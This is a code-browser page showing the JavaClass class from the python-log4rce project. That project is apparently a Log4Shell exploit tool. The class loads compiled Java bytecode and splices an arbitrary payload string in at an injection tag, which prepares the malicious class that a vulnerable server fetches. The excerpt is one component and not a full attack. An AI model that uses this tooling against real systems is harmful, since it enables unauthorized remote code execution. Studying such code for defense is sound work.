MCPcopy Create free account
hub / github.com/alexandre-lavoie/python-log4rce / JavaClass

Class JavaClass

log4rce.py:65–109  ·  view source on GitHub ↗

Wrapper for Java class bytecode.

Source from the content-addressed store, hash-verified

63 return f"Serializer{self.__payload}"
64
65class JavaClass():
66 """
67 Wrapper for Java class bytecode.
68 """
69
70 __raw: bytes
71
72 def __init__(self, raw: bytes):
73 self.__raw = raw
74
75 @classmethod
76 def load(cls, path: str) -> "JavaClass":
77 with open(path, "rb") as h:
78 raw = h.read()
79
80 if not raw.startswith(b"\xca\xfe\xba\xbe"):
81 raise Exception(f"Trying to load non-compiled Java class `{path}`.")
82
83 return JavaClass(raw)
84
85 @classmethod
86 def str_size(cls, data: str) -> bytes:
87 return b"\x01" + struct.pack("!H", len(data))
88
89 @property
90 def raw(self) -> bytes:
91 return self.__raw
92
93 @property
94 def name(self) -> str:
95 return re.findall(b"([a-zA-Z0-9]*)\.java", self.__raw)[0].decode()
96
97 def inject(self, payload: Union[str, bytes]):
98 if isinstance(payload, str):
99 payload = payload.encode()
100
101 if not INJECTION_TAG.encode() in self.__raw:
102 raise Exception(f"No `{INJECTION_TAG}` tag to inject payload into.")
103
104 index = self.__raw.index(INJECTION_TAG.encode())
105
106 self.__raw = self.__raw[:index-3] + self.str_size(payload) + payload + self.__raw[index+3:]
107
108 def __repr__(self) -> str:
109 return f"JavaClass({self.__raw})"
110
111class LDAPResponse():
112 """

Callers 2

loadMethod · 0.85
mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected